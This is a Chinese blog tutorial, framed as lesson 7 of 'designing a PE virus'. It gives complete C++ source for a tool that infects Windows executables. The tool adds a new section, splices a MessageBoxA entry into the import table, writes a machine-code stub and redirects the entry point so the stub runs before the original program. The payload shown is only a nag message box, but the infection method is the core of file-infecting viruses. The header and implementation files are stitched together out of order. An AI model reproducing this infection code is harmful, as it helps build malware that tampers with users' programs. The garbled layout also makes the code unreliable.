zoukankan      html  css  js  c++  java
  • 第7讲:设计PE型病毒2

    本节主要讲 通过添加新区块、修改输入表方法实现PE感染

    本次课程涉及到的技术点有几个部分:

    1,添加输入表项。

    2,添加新区块。

     3,插入 Stub。

    ********************************************************************************************

    下面是实现这个程序的主要步骤,其中使用内存映射机制来实现文件的操作。

    1)添加用于存放Stub的新区块。添加新区块需要进行一下操作:

    增加区块数量

    添加区块信息

    修正PE文件的映像大小

    添加PE文件大小

    ********************************************************************************************

     Stub 要完成的任务很简单,显示消息框然后跳转到应用程序原始入口继续执行。

     需要修改程序的入口点指向 Stub ,应用程序执行时就会直接转到 Stub 执行。

     ********************************************************************************************

     新区块数据由以下7本分组成:

     1,输入表,原输入表数据复制到新区块,并为user32.dll的MessageBoxA加新项。

    2,DLL名字符串,固定为“USER32.dll”,在输入表新项中使用。

    3,函数名字符串,固定为“MessageBoxA”,在输入表新项中使用。

    4,新输入表项所对应的IAT表。

    5,Nag消息框的标题字符串。

    6,Nag消息框的内容字符串。

     

    以下为完整代码:

     PEInfo.h文件

    #pragma once
    
    
    typedef struct _MAP_ITEM {
        HANDLE    hFile ;
        HANDLE    hMapFile ;
        LPVOID    lpMapAddr ;
    } MAP_ITEM ;
    typedef MAP_ITEM* PMAP_ITEM ;
    
    typedef struct _BASE_INFO_ITEM {
        DWORD    dwSectionAlign ; //块对齐大小
        DWORD    dwFileAlign ;     //文件块对齐大小
        WORD    dwSectionBase ;  //节表开始地址
        WORD    dwSectionNum ;   //节表个数
        DWORD    dwHeadSize ;     //所有头+节表大小,也可以以此值作为PE文件第一节的文件偏移量
        DWORD    dwRealHeadSize ; //节表结束地址
        DWORD    dwImageSize ;    //镜像大小
        DWORD    dwFileSize ;     //文件大小
    } BASE_INFO_ITEM ;
    typedef BASE_INFO_ITEM* PBASE_INFO_ITEM ;
    
    
    class CPEInfo
    {
    public:
        CPEInfo(void);
    public:
        ~CPEInfo(void);
    
    public:
        BOOL                    isReady ;
        BASE_INFO_ITEM            BaseInfo ;
        IMAGE_SECTION_HEADER    NewSection ;    
    
    public:
        BOOL    CreateMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem ) ;
        BOOL    CreateNewMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem, DWORD dwFileSize ) ;
        VOID    DeleteMap    ( PMAP_ITEM pMapItem ) ;
        BOOL    FlushData    ( LPVOID lpAddr, UINT nNumToFlush ) ;//清除数据
    
    public:
        BOOL    IsValidPE        ( PMAP_ITEM pMapItem ) ;
        VOID    GetBaseInfo        ( PMAP_ITEM pMapItem ) ;
        VOID    InitNewSection    () ; //初始的新Section
        VOID    AdjustSectionSize () ;        // 包含了映像大小和文件大小
        VOID    AddNewSection    ( PMAP_ITEM pOldMap, PMAP_ITEM pNewMap, DWORD dwNewFileSize ) ;
    
    public:
        DWORD    FormatInt ( DWORD dwValue, DWORD dwAlign ) ;
    
    };

    PEInfo.cpp

    #include "StdAfx.h"
    #include "PEInfo.h"
    
    CPEInfo::CPEInfo(void)
    {
    
        int ii = sizeof(IMAGE_OPTIONAL_HEADER);
        isReady = FALSE ;
        memset ( &BaseInfo, 0, sizeof(BASE_INFO_ITEM) ) ;//新申请的内存做初始化工作
        memset ( &NewSection, 0, sizeof(IMAGE_SECTION_HEADER) ) ;//新申请的内存做初始化工作
    }
    
    CPEInfo::~CPEInfo(void)
    {
    }
    
    BOOL CPEInfo::CreateMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem ) 
    {    
        pMapItem->hFile =    CreateFile ( 
            pPathName,                    
            GENERIC_READ, 
            FILE_SHARE_READ|FILE_SHARE_WRITE,  
            NULL, 
            OPEN_EXISTING, 
            FILE_ATTRIBUTE_NORMAL ,
            NULL 
            );
        if ( pMapItem->hFile == INVALID_HANDLE_VALUE )
        {
            return FALSE;
        }
        
        //创建文件映射内核对象
        pMapItem->hMapFile = CreateFileMapping ( pMapItem->hFile, NULL, PAGE_READONLY, 0, 0, NULL    ) ;
        if ( pMapItem->hMapFile == NULL )
        {
            CloseHandle ( pMapItem->hFile ) ;
            return FALSE;
        }
        
        //创建文件视图
        pMapItem->lpMapAddr = (PBYTE)MapViewOfFile ( pMapItem->hMapFile, FILE_MAP_READ, 0, 0, 0 ) ;
        if ( pMapItem->lpMapAddr == NULL )
        {
            DWORD dwErrorCode = GetLastError () ;
            CloseHandle ( pMapItem->hMapFile ) ;
            CloseHandle ( pMapItem->hFile ) ;
            return FALSE;
        }
        
        return TRUE ;
    }
    
    BOOL CPEInfo::CreateNewMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem, DWORD dwFileSize ) 
    {    
        pMapItem->hFile =    CreateFile ( 
            pPathName,                    
            GENERIC_READ|GENERIC_WRITE, 
            FILE_SHARE_READ|FILE_SHARE_WRITE,  
            NULL, 
            CREATE_ALWAYS, 
            FILE_ATTRIBUTE_NORMAL ,
            NULL 
            );
        if ( pMapItem->hFile == INVALID_HANDLE_VALUE )
        {
            return FALSE;
        }
        
        //创建文件映射内核对象
        pMapItem->hMapFile = CreateFileMapping ( pMapItem->hFile, NULL, 
                                PAGE_READWRITE, 0, dwFileSize, NULL    ) ;
        if ( pMapItem->hMapFile == NULL )
        {
            CloseHandle ( pMapItem->hFile ) ;
            return FALSE;
        }
        
        //创建文件视图
        pMapItem->lpMapAddr = (PBYTE)MapViewOfFile ( pMapItem->hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0 ) ;
        if ( pMapItem->lpMapAddr == NULL )
        {
            DWORD dwErrorCode = GetLastError () ;
            CloseHandle ( pMapItem->hMapFile ) ;
            CloseHandle ( pMapItem->hFile ) ;
            return FALSE;
        }
        
        return TRUE ;
    }
    
    void  CPEInfo::DeleteMap ( PMAP_ITEM pMapItem )
    {
        UnmapViewOfFile ( pMapItem->lpMapAddr ) ;
        CloseHandle ( pMapItem->hMapFile ) ;
        CloseHandle ( pMapItem->hFile ) ;
    }
    
    BOOL  CPEInfo::FlushData ( LPVOID lpAddr, UINT nNumToFlush )
    {
        return FlushViewOfFile ( lpAddr, nNumToFlush ) ;
    }
    
    BOOL  CPEInfo::IsValidPE        ( PMAP_ITEM pMapItem )
    {
        return TRUE ;
    }
     
    VOID  CPEInfo::GetBaseInfo        ( PMAP_ITEM pMapItem )
    {
        PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(pMapItem->lpMapAddr) ;
        PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(pMapItem->lpMapAddr)+ (pDosHeader->e_lfanew)) ;
        PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;
    
        BaseInfo.dwSectionAlign    = pOptionalHeader->SectionAlignment ;// 内存中的区块的对齐大小
        BaseInfo.dwFileAlign        = pOptionalHeader->FileAlignment ;// 文件中的区块的对齐大小
        BaseInfo.dwSectionNum        = pNtHeader->FileHeader.NumberOfSections ;//PE文件中有多少个节
        BaseInfo.dwHeadSize        = pOptionalHeader->SizeOfHeaders ;// 所有头 + 区块表的尺寸大小
        BaseInfo.dwSectionBase    = pDosHeader->e_lfanew + 0x18 + pNtHeader->FileHeader.SizeOfOptionalHeader;//块表开始的地址DOS_Header+File__Header+Optional Header
        BaseInfo.dwRealHeadSize    = BaseInfo.dwSectionBase + BaseInfo.dwSectionNum * 0x28 ;//块表结束的地址
        BaseInfo.dwImageSize        = pOptionalHeader->SizeOfImage ;
    
        PIMAGE_SECTION_HEADER LastSec    = (PIMAGE_SECTION_HEADER)((LONG)(pMapItem->lpMapAddr) + BaseInfo.dwSectionBase + 0x28 * ( BaseInfo.dwSectionNum - 1 ) ) ;
        BaseInfo.dwFileSize        = LastSec->PointerToRawData + FormatInt ( LastSec->SizeOfRawData, pOptionalHeader->FileAlignment );//文件的大小
    }
    
    
    VOID  CPEInfo::InitNewSection    ()
    {
        strcpy ( (char*)NewSection.Name, ".NewSec" ) ;
        NewSection.Misc.VirtualSize    = BaseInfo.dwSectionAlign ;
        NewSection.VirtualAddress        = BaseInfo.dwImageSize ;
        NewSection.SizeOfRawData        = BaseInfo.dwFileAlign ;
        NewSection.PointerToRawData    = BaseInfo.dwFileSize ;
        NewSection.Characteristics    = 0xE0000020 ;
    }
    
    DWORD CPEInfo::FormatInt ( DWORD dwValue, DWORD dwAlign )
    {
        if ( dwValue % dwAlign )
            return ( dwValue / dwAlign + 1 ) * dwAlign ;
        return dwValue / dwAlign * dwAlign ;
    }
    
    void CPEInfo::AdjustSectionSize ()
    {
        if ( NewSection.Misc.VirtualSize < NewSection.SizeOfRawData )
            NewSection.Misc.VirtualSize = NewSection.SizeOfRawData ;
    
        if ( NewSection.Misc.VirtualSize % BaseInfo.dwSectionAlign )
            NewSection.Misc.VirtualSize = NewSection.Misc.VirtualSize / BaseInfo.dwSectionAlign + 1 ;
        else
            NewSection.Misc.VirtualSize = NewSection.Misc.VirtualSize / BaseInfo.dwSectionAlign ;
        NewSection.Misc.VirtualSize *= BaseInfo.dwSectionAlign ;
    
        if ( NewSection.SizeOfRawData % BaseInfo.dwFileAlign )
            NewSection.SizeOfRawData = NewSection.SizeOfRawData / BaseInfo.dwFileAlign + 1 ;
        else
            NewSection.SizeOfRawData = NewSection.SizeOfRawData / BaseInfo.dwFileAlign ;
        NewSection.SizeOfRawData *= BaseInfo.dwFileAlign ;
    }
    
    void CPEInfo::AddNewSection ( PMAP_ITEM pOldMap, PMAP_ITEM pNewMap, DWORD dwNewFileSize )
    {
        memcpy ( LPVOID(pNewMap->lpMapAddr), LPVOID(pOldMap->lpMapAddr), NewSection.PointerToRawData ) ;
    
        // Fix PE Head's some item
        PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(pNewMap->lpMapAddr) ;
        PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(pNewMap->lpMapAddr)+ (pDosHeader->e_lfanew)) ;
        PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ; 
    
        // Increase section numbers
        pNtHeader->FileHeader.NumberOfSections ++ ;
    
        // Write into new IMAGE_SECTION_HEADER
        memcpy ( LPVOID(DWORD(pDosHeader)+BaseInfo.dwRealHeadSize), &(NewSection), 0x28 ) ;
    
        // Modify IMAGE SIZE
        pOptionalHeader->SizeOfImage += NewSection.Misc.VirtualSize ;
    
        FlushData ( pNewMap->lpMapAddr, dwNewFileSize ) ;
    }
    NagGenDlg.h文件

    #pragma once

    #include "PEInfo.h"

    #include "Dbghelp.h"
    #pragma comment ( lib, "Dbghelp.lib" )

    // CNagGenDlg 对话框
    class CNagGenDlg : public CDialog
    {

    public:

    CPEInfo PEInfo ;

    DWORD dwDllNameOff, dwFunNameOff, dwIATOff, dwIIDNum, dwNewEntryOff, dwNagTitleOff, dwNagContentOff ;

    CString m_NagTitle;

    #include "stdafx.h"
    #include "NagGen.h"
    #include "NagGenDlg.h"
    
    #ifdef _DEBUG
    #define new DEBUG_NEW
    #endif
    
    #define MAX_BUF_SIZE        2048
    #define MAX_TITLE_SIZE        64
    #define MAX_CONTENT_SIZE    256
    
    TCHAR a[] = TEXT("fjda") ;
    TCHAR b[] = TEXT("fdsadagfdsa") ;
    //
    //void StubCode ()
    //{    
    //    PTCHAR pTitle    = NULL ;
    //    PTCHAR pContent    = NULL ;
    //
    //    DWORD begin, end ;
    //    __asm
    //    {
    //        push    edx
    //        call    $+5
    //        pop        edx
    //        add        edx, 7
    //        mov        begin, edx
    //BEGIN:
    //        pushad
    //        push    0
    //        push    pTitle
    //        push    pContent
    //        push    0
    //        call    dword ptr MessageBoxW
    //        popad
    //END:    
    //        call    $+5
    //        pop        edx
    //        add        edx, -5
    //        mov        end, edx
    //        pop        edx
    //    }
    //}
    
    void CNagGenDlg::OnBnClickedOk()
    {
    
        MAP_ITEM OldMap = {0}, NewMap = {0} ;//初始化数据
        TCHAR    pBuf[MAX_BUF_SIZE] = {0} ;
        BYTE    pData[MAX_BUF_SIZE] ={0} ;
        wsprintf ( pBuf, m_PathName.GetBuffer(m_PathName.GetLength()) ) ;//m_PathName需要修改的PE文件
        if ( PEInfo.CreateMap(pBuf, &OldMap) == FALSE ) //创建文件映射到内存
        {
            MessageBox ( TEXT("Please ensure this file is not been used!") ) ;
            return ;
        }
        
        // 取得PE文件基本信息
        PEInfo.GetBaseInfo (&OldMap) ;
        // 初始化新区段信息
        PEInfo.InitNewSection () ;
    
        // 产生并组合数据,保存到pData缓冲区,并根据所需要的长度对区段信息进行调整
        DWORD dwNeedSize = GenerateData ( pData, OldMap.lpMapAddr );//生成数据
    
        if ( PEInfo.NewSection.SizeOfRawData < dwNeedSize )//判断所需的大小,并确定大小
            PEInfo.NewSection.SizeOfRawData = dwNeedSize ;
        PEInfo.AdjustSectionSize () ;
    
        // 建立新文件(*_nag.exe)
        CString TempStr = m_PathName ;
        DWORD    dwNewFileSize = PEInfo.NewSection.PointerToRawData + PEInfo.NewSection.SizeOfRawData ;
        TempStr.SetAt ( TempStr.GetLength()-4, 0 ) ;
        wsprintf ( pBuf, TEXT("%s%s"), TempStr.GetBuffer(TempStr.GetLength()), TEXT("_nag.exe") ) ;
        if ( PEInfo.CreateNewMap ( pBuf, &NewMap, dwNewFileSize ) == FALSE )
        {
            MessageBox ( TEXT("Could't create new file!") ) ;
            DeleteFile ( pBuf ) ;
            return ;
        }
    
        // 添加区块信息
        PEInfo.AddNewSection ( &OldMap, &NewMap, dwNewFileSize ) ;
    
        // 删除原PE文件的映射
        PEInfo.DeleteMap ( &OldMap ) ;
    
        // 把pData中的数据写入到新区块( contain IID, NewDllName, NewFunName, NewIat)
        LPVOID    lpNewSection = LPVOID(DWORD(NewMap.lpMapAddr)+PEInfo.NewSection.PointerToRawData) ;
        memcpy ( lpNewSection, pData, PEInfo.NewSection.SizeOfRawData ) ;
    
        // 取得PE头信息
        PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(NewMap.lpMapAddr) ;
        PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(NewMap.lpMapAddr)+ (pDosHeader->e_lfanew)) ;
        PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;
    
        // 写入新IID信息  IMAGE_IMPORT_DESCRIPTOR
        // 如果OriginalFirstThunk 字段的值为0,加载就不会改写IAT,也就是说,需要自己向IAT写入对应函数的地址
        // 这里把OriginalFirstThunk的值设置为与FirstThunk相同,这样初始化的时候加载器就会改写IAT
        PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)lpNewSection + 0x14 * dwIIDNum) ;
        pIID->Name            = dwDllNameOff + PEInfo.NewSection.VirtualAddress ;
        pIID->FirstThunk    = dwIATOff + PEInfo.NewSection.VirtualAddress ;
        pIID->OriginalFirstThunk    = pIID->FirstThunk ;
        pIID->ForwarderChain    = 0xFFFFFFFF ;
        pIID->TimeDateStamp        = 0xFFFFFFFF ;
        *((DWORD*)(dwIATOff + (DWORD)lpNewSection)) = dwFunNameOff + PEInfo.NewSection.VirtualAddress ;
        
        
        // 修改数据目录项中输入表项信息
        pOptionalHeader->DataDirectory[1].VirtualAddress    = PEInfo.NewSection.VirtualAddress ;
        pOptionalHeader->DataDirectory[1].Size               += 0x14 ;
    
        // 清楚绑定输入表
        pOptionalHeader->DataDirectory[11].VirtualAddress    = 0 ;
        pOptionalHeader->DataDirectory[11].Size                = 0 ;
        
        // 修改OEP
        pOptionalHeader->AddressOfEntryPoint = dwNewEntryOff + PEInfo.NewSection.VirtualAddress ;
        
        PEInfo.FlushData ( LPVOID(PEInfo.NewSection.VirtualAddress), PEInfo.NewSection.SizeOfRawData ) ;
        PEInfo.DeleteMap ( &NewMap ) ;
    
        MessageBox ( TEXT("添加Nag窗口成功!") ) ;
    }
    
    
    
    //生成新区块数据
    
    DWORD CNagGenDlg::GenerateData(PBYTE pData, LPVOID lpImageBase)
    {
        // 取得PE文件基本信息
        PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(lpImageBase) ;
        PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(lpImageBase)+ (pDosHeader->e_lfanew)) ;
        PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;
        PIMAGE_DATA_DIRECTORY pImportData    = (PIMAGE_DATA_DIRECTORY)(&( pOptionalHeader->DataDirectory[1]) ) ;
    
        //    //定位到导入表
        //IMAGE_IMPORT_DESCRIPTOR *pImportDesc=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    
        PIMAGE_IMPORT_DESCRIPTOR    pIID = (PIMAGE_IMPORT_DESCRIPTOR) ImageRvaToVa ( pNtHeader, lpImageBase, pImportData->VirtualAddress, NULL ) ;
        // 把原IID表拷贝到缓冲区
        memcpy ( pData, LPVOID(pIID), pOptionalHeader->DataDirectory[1].Size );//ImportTable                   
        //统计IID数量(dll的数量)
        dwIIDNum        = 0 ;
        while ( pIID[dwIIDNum].FirstThunk )
            dwIIDNum ++ ;
    
        char    szDllName[] = "USER32.dll" ; 
        char    szFunName[] = "MessageBoxA" ;
    
        // 设置偏移信息
        dwDllNameOff        = pOptionalHeader->DataDirectory[1].Size + 0x14;
        dwFunNameOff        = dwDllNameOff + sizeof (szDllName) + 3 ;
        dwIATOff            = dwFunNameOff + sizeof (szFunName) + 4 ;
        dwNagTitleOff        = dwIATOff + 12 ;
    
        // 写入DLL名
        memcpy ( &(pData[dwDllNameOff]), szDllName, sizeof(szDllName) ) ;
        // 写入函数名
        memcpy ( &(pData[dwFunNameOff+2]), szFunName, sizeof(szFunName) ) ; // 2, 序号
    
    
        CHAR pTitle[128] = {0}, pContent[512] = {0} ;
        ::GetDlgItemTextA ( GetSafeHwnd(), IDC_NAG_TITLE, pTitle, 128 ) ;
        ::GetDlgItemTextA ( GetSafeHwnd(), IDC_NAG_CONTENT, pContent, 512 ) ;
    
        // 设置偏移信息(NagTitle + NagContent)
        dwNagContentOff    = dwNagTitleOff + strlen(pTitle) + 1 ;
        dwNewEntryOff        = dwNagContentOff + strlen(pContent) + 1 ;
    
        // 把NagTitle和NagContent信息写入缓冲区
        wsprintf ( PTCHAR(&pData[dwNagTitleOff]), TEXT("%s"), pTitle ) ;
        wsprintf ( PTCHAR(&pData[dwNagContentOff]), TEXT("%s"), pContent ) ;
    
    
        //////////////////////////////////////////////////////////////////////////////////////////
        // Stub Code ( 0x11111111为数据占位符,需修正) 0x6a,push 命令, 0xe8,cal命令
        // pushad                        60
        // push 0                         6A 0x00
        // push 0x11111111                 68  11111111 
        // push 0x11111111                 68  11111111   
        // push 0                         6A  00
        // call dword ptr MessageBoxW    FF15 11111111 
        // popad                         61
        // jmp  0x11111111               E9   11111111
        /////////////////////////////////////////////////////////////////////////////////////////
        //Stub数据
        BYTE pbCommand[] = { 0x60, 0x6A, 0x00, 0x68, 0x11, 0x11, 0x11, 0x11, 
                0x68, 0x11, 0x11, 0x11, 0x11, 0x6A, 0x00, 0xFF, 0x15, 0xBC, 0xF2, 0x42, 0x00, 0x61, 
                0xE9, 0x11, 0x11, 0x11, 0x11 } ;
        
        // 统计Stub Code长度,然后写入pData缓冲区
        DWORD    dwStubLength = sizeof(pbCommand);
        memcpy ( &(pData[dwNewEntryOff]), pbCommand, dwStubLength ) ;
    
        // 计算 JMP 指令的操作数
        DWORD dwOldEntryRVA = pOptionalHeader->AddressOfEntryPoint ;
        DWORD dwNewEntryRVA = PEInfo.NewSection.VirtualAddress + dwNewEntryOff + 22 ;
        DWORD dwJmpDist        = dwOldEntryRVA - dwNewEntryRVA - 5 ;
    
        // 修正TitleVA
        *((DWORD*)(&(pData[dwNewEntryOff+4])))    = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwNagTitleOff ;
        // 修正ContentVA
        *((DWORD*)(&(pData[dwNewEntryOff+9])))    = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwNagContentOff ;
        // 修正 CALL [0x********]
        *((DWORD*)(&(pData[dwNewEntryOff+17])))    = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwIATOff ;
        // 修正 JMP 的操作数 ==> E9 ** ** ** **
        *((DWORD*)(&(pData[dwNewEntryOff+23])))    = dwJmpDist ;
    
        // 返回总长度
        return dwNewEntryOff + dwStubLength + 0x10 ;
    }

    CString m_NagContent;
    afx_msg void OnBnClickedOk();
    DWORD GenerateData(PBYTE pData, LPVOID lpImageBase);
    };

  • 相关阅读:
    上班5个月总结
    使用余弦定理计算两篇文章的相似性
    9月10日 小结
    软件测试
    《增长黑客》笔记
    统计学术语
    数据分析师:数据分析工作常见七种错误及其规避技巧(转自经管之家)
    输入一个日期,计算这个日期与 2018-03-12差多少天;
    求输入数字的阶乘 及加和 #s=1!+2!+3!+…..+n!
    列表去重
  • 原文地址:https://www.cnblogs.com/mayingkun/p/4774685.html
Copyright © 2011-2022 走看看